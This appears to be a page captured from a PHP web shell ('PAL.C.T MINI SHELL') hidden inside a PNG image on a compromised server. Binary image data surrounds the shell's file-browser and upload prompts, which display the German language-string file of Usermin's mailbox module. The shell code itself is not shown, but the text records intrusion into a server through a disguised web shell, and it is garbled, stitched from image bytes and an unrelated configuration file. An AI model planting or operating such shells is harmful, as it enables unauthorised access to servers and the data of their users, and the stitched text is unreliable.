php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/mailbox/lang/
upload
files >> //usr/libexec/usermin/mailbox/lang/de.UTF-8

__norefs=1
acl_all=Alle
acl_any=Jede Adresse
acl_apath=Beschränke Dateien und Programme auf Verzeichnis
acl_asame=Verwende Benutzernamen
acl_attach=Maximale Gesamtdateianhanggröße
acl_canattach=Darf Dateien vom Serverdateisystem anhängen?
acl_candetach=Darf Dateianhänge im Serverdateisystem speichern?
acl_dir=Darf E-Mail-Dateien lesen in Verzeichnis
acl_dirauto=Entscheide automatisch (überall, wenn alle Benutzer sichtbar sind, ansonsten nirgends)
acl_faddrs=Aufgeführte Adressen
acl_fdom=Jede Adresse @ Domain
acl_fdoms=Mailbox @ Domains
acl_from=Adressen, die für Absenderadressen (FROM) erlaubt sind
acl_fromname=Realname für die Absenderadresse (FROM)
acl_none=Kein
acl_read=Benutzer, deren Post gelesen werden kann
acl_same=Benutzer mit dem gleichen Namen
acl_sec=Sekundäre Gruppen einbeziehen?
acl_sent=Speichere versendete E-Mail in E-Mailbox
acl_unlimited=Unbegrenzt
acl_users=Nur diese Benutzer
acl_userse=Alle, außer diese Benutzer
acl_usersg=Mitglieder der Gruppen
acl_usersm=Benutzer passend zu/auf
acl_usersu=Mit UID im Bereich
black_already=Die E-Mail-Adresse $1 befindet sich bereits auf der Liste der durch SpamAssassin abgewiesenen Adressen
black_done=Die E-Mail-Adresse wurde der Liste der durch SpamAssassin abgewiesenen Adressen hinzugefügt.
black_title=Absender verbieten
compose_title=Schreibe E-Mail
confirm_ok=Lösche jetzt
confirm_title=Löschen bestätigen
confirm_warn=Sind Sie sicher, daß Sie die ausgewählten $1 E-Mails löschen wollen?
confirm_warn2=Aufgrund der Größe und des Formates Ihrer E-Mailbox wird dies ein wenig dauern. Während des Löschvorganges sollten keine anderen Aktionen stattfinden. Bitte ein wenig Geduld ...
confirm_warn3=Sind Sie sicher, daß Sie diese E-Mail löschen wollen?
confirm_warn4=Während des Löschvorganges sollten keine anderen Aktionen stattfinden. Bitte ein wenig Geduld ...
confirm_warnall=Sind Sie sicher, daß Sie alle E-Mails in diesem Ordner löschen wollen?
confirm_warnallf=Sollen wirklich alle Nachtichten im Ordner <b>$1</b> gel&#246;scht werden?
confirm_warnf=Sollen wirklich die $1 gew&#228;hlten Nachrichten vom Ordner <b>$2</b> gel&#246;scht werden?
delall_ok=Jetzt l&#246;schen
delall_rusure=Sind Sie sicher, dass Sie alle E-Mails von $1 l&#246;schen wollen? $2 von $3 Nachrichten werden unwiederbringlich gel&#246;scht.
delall_title=Alle E-Mails l&#246;schen
delete_ebnone=Es wurde keine E-Mail zum Ablehnen ausgew&#228;hlt
delete_ecannot=Sie d&#252;rfen keine E-Mails von diesem Benutzer l&#246;schen
delete_ecopycannot=Sie d&#252;rfen keine E-Mails zu dem ausgew&#228;hlten Benutzer kopieren
delete_ecopynone=Es wurde keine E-Mail f&#252;r den Kopiervorgang ausgew&#228;hlt.
delete_ecopyuser=Der Benutzer, zu dem Sie E-Mails kopieren wollen, existiert nicht
delete_efnone=Es wurde keine E-Mail f&#252;r den Weiterleitungsvorgang ausgew&#228;hlt.
delete_ehnone=Keine E-Mail wurde f&#252;r den Report als Nicht-Spam ausgew&#228;hlt
delete_emnone=Es wurde keine E-Mail f&#252;r den Markierungsvorgang ausgew&#228;hlt.
delete_emovecannot=Sie d&#252;rfen keine E-Mails zu dem ausgew&#228;hlten Benutzer verschieben
delete_emovenone=Es wurde keine E-Mail f&#252;r den Verschiebevorgang ausgew&#228;hlt.
delete_emoveuser=Der Benutzer, zu dem Sie E-Mails verschieben wollen, existiert nicht
delete_enone=Es wurde keine E-Mail f&#252;r den L&#246;schvorgang ausgew&#228;hlt.
delete_ereport=Konnte nicht als Spam melden : $1
delete_ernone=Es wurde keine E-Mail f&#252;r den Spam-Report ausgew&#228;hlt
delete_errc=Konte E-Mail nicht kopieren
delete_errm=Konnte E-Mail nicht verschieben
delete_ewnone=Keine E-Mail wurde f&#252;r die Whitelist ausgew&#228;hlt
delete_nobutton=Es wurde kein Button angeklickt
delete_ok=Jetzt l&#246;schen
delete_rusure=Sind Sie sicher, da&#223; Sie die ausgew&#228;hlten $1 E-Mails aus/von $2 l&#246;schen wollen? Aufgrund der Gr&#246;&#223;e und des Formates dieser E-Mailbox wird dies ein wenig dauern. W&#228;hrend des L&#246;schvorganges sollten keine anderen Aktionen stattfinden. Bitte ein wenig Geduld ...
delete_rusure2=Sind Sie sicher, da&#223; Sie diese E-Mail aus/von $1 l&#246;schen wollen? Aufgrund der Gr&#246;&#223;e und des Formates dieser E-Mailbox wird dies ein wenig dauern. W&#228;hrend des L&#246;schvorganges sollten keine anderen Aktionen stattfinden. Bitte ein wenig Geduld ...
delete_title=E-Mail l&#246;schen
detach_edir=Es wurden weder Datei noch ein Verzeichnis f&#252;r den Speichervorgang ausgew&#228;hlt.
detach_eopen=Fehler beim &#214;ffnen von $1 : $2
detach_err=Konnte Datei nicht abh&#228;ngen/l&#246;schen
detach_ewrite=Fehler beim Schreibvorgang zu $1 : $2
detach_ok=Der Dateianhang wurde auf dem Server in die folgende Datei gespeichert $1 ($2).
detach_title=Dateianhang speichern
emodified=Dieser Order wurde seit dem aktuellen Einlesen ver&#228;ndert! Kehren Sie zur <a href='$1'>Liste der E-Mails</a> zur&#252;ck und starten Sie erneut.
enew_title=E-Mail bearbeiten
find_enone=Es wurden keine Benutzer gefunden, die der Suchanfrage entsprechen
find_fcount=Verzeichnisse
find_group=Gruppe
find_home=Heimatverzeichnis
find_in=$1 in $2
find_incount=E-Mails
find_real=Realname
find_results=Benutzer, die auf das Suchmuster $1 passen ...
find_sentcount=Gesendet
find_size=E-Mail-Gr&#246;&#223;e
find_title=Suchergebnisse
find_user=Benutzername
folder_drafts=Entw&#252;rfe
folder_inbox=Posteingang
folder_sent=Versendete E-Mail
folder_trash=Papierkorb
forward_title=E-Mail weiterleiten
ham_report=Diese Nachricht wird als Nicht-Spam an Razor und andere SpamAssassin-Datenbanken gemeldet ..
ham_title=Als Nicht-Spam melden
index_contains=beinhaltet
index_empty=Keine E-Mail
index_eperl=Das Perl-Modul $1, welches f&#252;r den ausgew&#228;hlten SMTP-Authentisierungsmodus n&#246;tig ist, ist nicht installiert oder es fehlt ein zur Ausf&#252;hrung abh&#228;ngiges Modul. <a href='$2'>Klicken Sie hier</a> um dieses zu installieren.
index_equals=ist gleich
index_esystem=Keiner der unterst&#252;tzten E-Mailserver (Exim, Qmail, Postfix und Sendmail) wurde auf Ihrem System gefunden. Sie m&#252;ssen die <a href='$1'>Modulkonfiguration</a> manuell anpassen und dort den E-Mailserver und die zugeh&#246;rigen Serverpfade eintragen.
index_esystem2=Der in der <a href='$1'>Modulkonfiguration</a> gesetzte E-Mailserver wurde auf ihrem System nicht gefunden. Sie m&#252;ssen dort die Konfiguration so anpassen, da&#223; der richtige E-Mailserver benutzt wird.
index_esystem3=Ein Fehler ist beim Zugriff auf das Mailsystem in <a href='$1'>Modulkonfiguration</a> aufgetreten: $2.
index_file=Lese E-Mail in Datei:
index_find=Finde Benutzer deren Benutzername
index_header=Benutzer-E-Mailboxen
index_none=Sie d&#252;rfen die E-Mails der Benutzer auf diesem System nicht lesen.
index_nousers=Es wurden keine Benutzer gefunden!
index_nousersmail=Keine Benutzer mit E-Mail gefunden.
index_return=Benutzerliste
index_system0=Mail-Server: Postfix
index_system1=Mail-Server: Sendmail
index_system2=Mail-Server: Qmail
index_system4=Mail-Server: Qmail+LDAP
index_system5=Mail-Server: Qmail+VPopMail
index_system6=Mail-Server: Exim
index_title=Lese Benutzer-E-Mail
index_toomany=Es gibt mehr Benutzer auf Ihrem System, als hier angezeigt werden k&#246;nnen.
ldap_ebase=LDAP base DN in Modulkonfiguration nicht gesetzt
ldap_econn=Fehler beim Verbinden zum LDAP-Server $1 Port $2
ldap_ehost=LDAP Server in der Modulkonfiguration nicht gesetzt
ldap_elogin=Konnte nicht zum LDAP-Server $1 als $2 verbinden : $3
ldap_emod=Das fehlende Perl-Modul $1 wird ben&#246;tigt, um sich via LDAP zu verbinden
ldap_eport=Kein g&#252;ltiger LDAP Server Port in der Modulkonfiguration gesetzt
ldap_euser=Kein LDAP Login in der Modulkonfiguration gesetzt
left_addresses=Adressbuch
left_autoreply=Automatische Antwort
left_filter=E-Mail Filter
left_folders=Verwalte Ordner
left_forward=Leite E-Mail weiter
left_mail=Mail
left_pass=&#196;ndere Passwort
left_prefs=Verwalte Einstellungen
left_search=Suche:
left_sig=Editiere Signaturen
log_copymail=Es wurden $1 E-Mails von $2 nach $3 kopiert
log_delmail=Es wurden $1 E-Mails von $2 gel&#246;scht
log_movemail=Es wurden $1 E-Mails von $2 nach $3 kopiert
log_read=Lese E-Mail f&#252;r $1
log_send=Es wurde eine E-Mail nach $1 versandt.
mail_addresses=Adressbuch bearbeiten
mail_advanced=Erweiterte Suche
mail_all=Alle ausw&#228;hlen
mail_bcc=Bcc
mail_black=Absender blockieren
mail_body=Textk&#246;rper
mail_cc=Cc
mail_compose=Schreiben
mail_copy=Kopieren nach:
mail_crypt=GnuPG-Verschl&#252;sselung f&#252;r:
mail_date=Datum
mail_delall=Alle l&#246;schen
mail_delete=L&#246;schen
mail_deleteall=Alles l&#246;schen
mail_deltrash=Papierkorb leeren
mail_ecannot=Sie d&#252;rfen die E-Mails von diesem Benutzer nicht lesen
mail_eexists=Die E-Mail existiert nicht mehr. Eventuell wurde Sie in der Zwischenzeit via POP3 abgerufen oder anderweitig von einem berechtigtem Benutzer gel&#246;scht/verschoben.
mail_efile=Die E-Mail-Datei existiert nicht
mail_err=Beim Auflisten der E-Mails in diesem Ordner ist ein Fehler aufgetreten : $1
mail_esystem=Ein Fehler ist beim Zugriff auf das Mailsystem aufgetreten : $1. Dies muss vom Systemadministrator behoben werden.
mail_fchange=&#196;ndern
mail_folder=Ordner
mail_folders=Ordner bearbeiten
mail_for=In $1
mail_for2=F&#252;r Benutzer $1
mail_forward=Weiterleiten
mail_from=Von
mail_fromfilter=Filter nach Absender erstellen
mail_fromsrch=Gleicher Absender ..
mail_high=Hoch
mail_highest=H&#246;chste
mail_indexlink=Zur&#252;ck zur E-Mailbox
mail_invert=Auswahl umkehren
mail_jump=Springe zu Seite :
mail_level=Auswertung
mail_login=Login
mail_logindesc=Sie m&#252;ssen Benutzername und Passwort eingeben,<br>um Ihren Posteingang auf dem E-Mailserver $1 einsehen zu k&#246;nnen.
mail_loginheader=POP3-Server-Login
mail_loginheader2=IMAP Server Login
mail_loginmailbox=IMAP E-Mailbox
mail_loginpass=Passwort
mail_loginuser=Benutzername
mail_logout=&#196;ndere POP3-Login
mail_logout2=&#196;ndere IMAP-Login
mail_low=Niedrig
mail_lowest=Niedrigste
mail_mark=Markiere als:
mail_mark0=Ungelesen
mail_mark1=Gelesen
mail_mark2=Spezial
mail_match=passt auf
mail_move=Verschieben nach:
mail_nocrypt=&lt;Nicht verschl&#252;sseln&gt;
mail_none=Dieser Benutzer hat keine E-Mails in $1
mail_nonefrom=Kein
mail_normal=Normal
mail_nosign=&lt;Nicht signieren&gt;
mail_nosort=Sortierung zur&#252;cksetzen
mail_of=von
mail_ok=Suche
mail_open=Offen
mail_pos=E-Mails $1 bis $2 von $3 in $4
mail_pri=Priorit&#228;t
mail_replyto=Antworten an
mail_reset=L&#246;schen
mail_return=Benutzer-E-Mailbox
mail_return2=Benutzer-E-Mail
mail_rfc=From-Zeile
mail_samecrypt=&lt;Schl&#252;ssel der Zieladressen&gt;
mail_search=Finde E-Mails wo
mail_search2=Suche nach:
mail_search3=Mit Auswertung von oben suchen:
mail_selread=Gelesene ausw&#228;hlen
mail_selspecial=Spezielle ausw&#228;hlen
mail_selunread=Ungelesene ausw&#228;hlen
mail_sent=In &lt;Versendete E-Mail&lt;-Liste
mail_sig=Bearbeite Signatur
mail_sign=Unterschreibe mit GnuPG-Schl&#252;ssel
mail_size=Gr&#246;&#223;e
mail_subfilter=Filter nach Betreff erstellen
mail_subject=Betreff
mail_subsrch=Gleicher Betreff ..
mail_title=Benutzer-E-Mail
mail_to=An
mail_tofilter=Filter nach Empf&#228;nger erstellen
mail_tosrch=Gleicher Empf&#228;nger ..
mail_unknown=Unbekannt
mail_white=Erlaube Absender
mail_whitemove=Sender und Posteingang erlauben
razor_deleted=.. erledigt. Die E-Mail wurde gel&#246;scht.
razor_done=.. erledigt
razor_err=.. gescheitert! Oben sehen Sie warum.
razor_moved=.. erledigt, und nach Ordner $1 verschoben.
razor_report=Diese Nachricht wird sowohl der Razor- als auch anderen durch SpamAssassin genutzten Anti-Spam-Datenbanken gemeldet.
razor_report2=Melde die gew&#228;hlten Nachrichten an Razor und andere SpamAssassin-Spamfilter-Datenbanken ..
razor_report3=Entferne die gew&#228;hlten Nachrichten aus Razor und andere SpamAssassin-Spamfilter-Datenbanken ..
razor_title=Als Spam melden
razor_title2=Melde als positive E-Mail
reply_aboot=Empf&#228;nger zum Adressbuch hinzuf&#252;gen?
reply_addattach=Anhangsfeld hinzuf&#252;gen
reply_addssattach=Server-seitiges Feld f&#252;r Anh&#228;nge.
reply_attach=Weitergeleitete Anh&#228;nge
reply_attach2=Client- und serverseitige Anh&#228;nge
reply_attach3=Hochgeladene Anh&#228;nge
reply_body=E-Mail-Text
reply_del=Auslieferungsbest&#228;tigung anfordern?
reply_draft=Speichern als Entwurf
reply_dsn=Lesebest&#228;tigung anfragen?
reply_ecannot=Sie d&#252;rfen keine E-Mails im Namen dieses Benutzers versenden
reply_efwdnone=Keine der weitergeleiteten Nachrichten existiert
reply_errc=Konnte E-Mail nicht kopieren
reply_errm=Konnte E-Mail nicht verschieben
reply_headers=E-Mail-Header
reply_html0=Text erfassen
reply_html1=HTML erfassen
reply_mailforward=Weitergeleitete E-Mails
reply_return=E-Mail schreiben
reply_save=Zwischenspeichern
reply_send=E-Mail versenden
reply_spell=Auf Rechtschreibfehler pr&#252;fen?
reply_tabbcc=BCC
reply_tabcc=CC
reply_tabfrom=Von
reply_taboptions=Optionen
reply_tabreplyto=Antwort an
reply_tabsigning=Unterzeichnung
reply_tabto=Zu
reply_title=Auf E-Mail antworten
search_all=In allen Ordnern
search_allstatus=Jede
search_attach=Muss Dateianh&#228;nge enthalten?
search_ecannot=Sie d&#252;rfen die E-Mail dieses Benutzers nicht durchsuchen
search_efield=Sie m&#252;ssen eine Such-/Abfrageart angeben.
search_elatest=Fehlende oder ung&#252;ltige Anzahl an E-Mails f&#252;r die Suche
search_ematch=Sie m&#252;ssen einen Text f&#252;r die Suche/Abfrage angeben.
search_enone=Sie haben keinerlei Suchkriterien angegeben
search_escore=Fehlende oder ung&#252;ltige Spamauswertung
search_ewhat=Sie haben keinen Text f&#252;r die Suche/Abfrage der Spalte $1 angeben.
search_latest=Zu durchsuchende E-Mails
search_latestnum=Nur die neuesten
search_limit=(der letzten $1 E-Mails)
search_local=In lokalen Ordnern
search_msg2=Suchergebnis f&#252;r $1
search_msg4=Suchergebnisse
search_msg5=Suchergebnisse f&#252;r Spam mit Auswertung $1
search_msg6=Suchergebnisse f&#252;r $1 in $2 Feld
search_nolatest=Alle im Ordner
search_none=Es wurden keine E-Mails gefunden.
search_onestatus=Nur Status
search_results2=$1 E-Mails passen auf $2
search_results3=$1 E-Mails passen nicht auf $2
search_results4=$1 E-Mails passen auf Ihre Suchanfrage
search_results5=$1 E-Mails mit $2 passend zu $3
search_status=Mit Status
search_title=Suchergebnisse
search_withstatus=, mit Status $1
send_done=.. fertig.
send_draft=Die E-Mail an $1 wurde als Entwurf gespeichert.
send_drafting=Speichere E-Mail f&#252;r $1 in Entwurfsverzeichnis
send_eattach=Die Dateianh&#228;nge d&#252;rfen zusammen nicht mehr als $1 KiB gro&#223; sein.
send_eattachsize=Die Dateianh&#228;nge &#252;berschreiten die maximal erlaubte Gr&#246;&#223;e von $1 bytes.
send_ecannot=Sie d&#252;rfen im Namen dieses Benutzers keine E-Mail versenden
send_ecrypt=Konnte E-Mail nicht verschl&#252;sseln : $1
send_efile=Konnte Dateianh&#228;nge nicht lesen $1 : $2
send_efrom=Fehlende Absenderadresse (FROM)
send_ekey=Konnte den Schl&#252;ssel f&#252;r die E-Mail-Adresse $1 nicht finden
send_eline=In Zeile $1:
send_epass=Sie k&#246;nnen diese E-Mail nicht signieren, da Sie noch keine Passphrase im GnuPG-Modul hinterlegt haben.
send_epath=Das Sendmail-Binary $1 existiert nicht.
send_eperms=Benutzer $1 kann $2 nicht lesen
send_eperms2=Sie d&#252;rfen die Datei $1 nicht versenden
send_err=Konnte E-Mail nicht versenden
send_esign=Konnte E-Mail nicht signieren : $1
send_esmtp=SMTP-Kommando $1 gescheitert : $2
send_espell=Die folgenden Rechtschreibefehler wurden in Ihrer E-Mail gefunden ..
send_esubject=Fehlender Betreff
send_eto=Fehlende Empf&#228;ngeradresse (TO)
send_eword=Falsch geschriebenes Wort $1
send_eword2=Falsch geschriebenes Wort $1 - M&#246;gliche Korrektur $2
send_ok=E-Mail erfolgreich versandt an $1
send_sending=Sende E-Mail an $1 ..
send_title=E-Mail versandt
send_title2=E-Mail gesichert
sform_all=&lt;Alle Ordner&gt;
sform_allmsg=komplette Nachricht
sform_and=Finde E-Mails bei denen folgende Kriterien zutreffen ...
sform_andmode=Kriterium-Modus
sform_bcc=BCC: Betreff
sform_body=E-Mail-Textk&#246;rper
sform_cc=CC:-Zeile
sform_date=Datum:-Zeile
sform_folder=in Ordner(n)
sform_folder2=Suche in Ordner(n)
sform_from=From:-Zeile
sform_header=Erweiterte E-Mail-Suchoptionen
sform_headers=Jegliche Header-Zeile
sform_local=&lt;Lokale Ordner&gt;
sform_neg0=beinhaltet
sform_neg1=beinhaltet nicht
sform_ok=Jetzt suchen
sform_or=Finde E-Mails, wo irgendeine der folgenden Kritierien zutreffen ..
sform_return=Erweitertes Suchformular
sform_size=Nachrichtengr&#246;&#223;e
sform_subject=Betreff:-Zeile
sform_text=den Text
sform_title=Erweiterte Suche
sform_to=To:-Zeile
sform_where=Wo
slide_next=Weiter
slide_prev=Zur&#252;ck
slide_title=Angeh&#228;ngte Bilder
view_aactions=Aktionen
view_aall=Alle Anh&#228;nge als ZIP speichern
view_afile=Anhangsname
view_allheaders=Zeige alle E-Mail-Header an
view_anofile=kein Dateiname
view_aopen=Offen
view_aplain=Raw
view_asave=Sichern
view_ashtml=Zeige E-Mail als HTML an (Kann gef&#228;hrlich sein!)
view_asize=Dateigr&#246;&#223;e
view_aslideshow=Alle Bilder anzeigen
view_astext=Zeige E-Mail als Text an (Explizit empfohlen)
view_attach=Dateianh&#228;nge
view_atype=Anhangstyp
view_aview=Anzeigen
view_black=Diesen Absender in die Blacklist aufnehmen!
view_body=E-Mail-Text
view_crypt=GnuPG-E-Mail-Entschl&#252;sselung
view_crypt_1=Diese E-Mail ist verschl&#252;sselt, jedoch wurde GnuPG nicht gefunden oder es ist nicht richtig installiert.
view_crypt_2=Konnte E-Mail nicht entschl&#252;sseln : $1
view_crypt_3=E-Mail erfolgreich entschl&#252;sselt.
view_crypt_4=Der verschl&#252;sselte Anteil dieser E-Mail wurde erfolgreich entschl&#252;sselt.
view_dall=&lt;Alle Dateien&gt;
view_delete=L&#246;schen
view_desc=E-Mail $1 in $2
view_desc2=E-Mail $1 des Benutzers $2
view_desc3=E-Mails $1
view_detach=Dateianhang speichern:
view_dheader=L&#246;se Dateianh&#228;nge auf dem Server
view_diagnostic-code=Grund des Fehlers
view_dir=&nbsp;in eine Serverdatei oder -Verzeichnis:
view_dstatus=Status des gescheiterten Versands
view_dstatusok=Erfolgreicher &#220;bertragungsstatus
view_ecannot=Sie d&#252;rfen die E-Mails dieses Benutzers nicht lesen
view_egone=Die E-Mail existiert nicht mehr. Eventuell wurde Sie in der Zwischenzeit via POP3 abgerufen oder anderweitig von einem berechtigtem Benutzer gel&#246;scht/verschoben.
view_enew=Als neu bearbeiten
view_eugone=Der User existiert nicht
view_final-recipient=Entg&#252;ltiger Empf&#228;nger
view_folder=Zur&#252;ck zur E-Mailbox
view_forward=Weiterleiten
view_gnupg=GnuPG-Signatur-&#220;berpr&#252;fung
view_gnupg_0=Die Signatur von $1 ist g&#252;ltig.
view_gnupg_1=Die Signatur von $1 ist g&#252;ltig, aber es konnte kein Vertrauensstatus erkannt werden.
view_gnupg_2=Die Signatur von $1 ist <b>NICHT</b> g&#252;ltig.
view_gnupg_3=Die Schl&#252;ssel-ID $1 ist nicht in Ihrer Liste, ergo kann keine GnuPG-Signatur-&#220;berpr&#252;fung statfinden.
view_gnupg_4=Konnte Signatur nicht &#252;berpr&#252;fen : $1
view_ham=Als Nicht-Spam melden
view_hammove=Berichte Spam und Eingang
view_headers=E-Mail-Header
view_images=Bilder anzeigen
view_mark=Markiere als:
view_mark0=Ungelesen
view_mark1=Gelesen
view_mark2=Spezial
view_markas0=Ungelesen
view_markas1=Gelesen
view_markas2=Speziell
view_nobody=Diese Meldung hat keine Inhalte.
view_noheaders=Einfache Headeranzeige
view_print=Drucken
view_qdesc=E-Mail $1 in Warteschlange
view_raw=Zeige Roh-Nachricht an
view_razor=Als Spam melden
view_razordel=Spam-Report und L&#246;schen
view_recv=<a href='$2'>Hole Schl&#252;ssel-ID $1 vom Keyserver</a>.
view_remote-mta=Entfernter E-Mail-Server
view_reply=Antworten
view_reply2=Allen antworten
view_reporting-mta=Berichtender E-Mail-Server
view_return=Original-E-Mail
view_sent=E-Mail $1 in "Versendete E-Mail"-Liste
view_strip=Entferne Dateianh&#228;nge
view_sub=Angeh&#228;ngte E-Mail(s)
view_sub2=Angeh&#228;ngte E-Mail von <i>$1</i>
view_title=E-Mail lesen
view_white=Erlaube Absender
view_whitemove=Erlaube Absender und Eingang
white_already=Die E-Mail-Adresse $1 befindet sich bereits in der Whitelist von SpamAssassin.
white_done=Die E-Mail-Adresse $1 wurde der Whitelist von SpamAssassin hinzugef&#252;gt.
white_title=Erlaube Absender
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`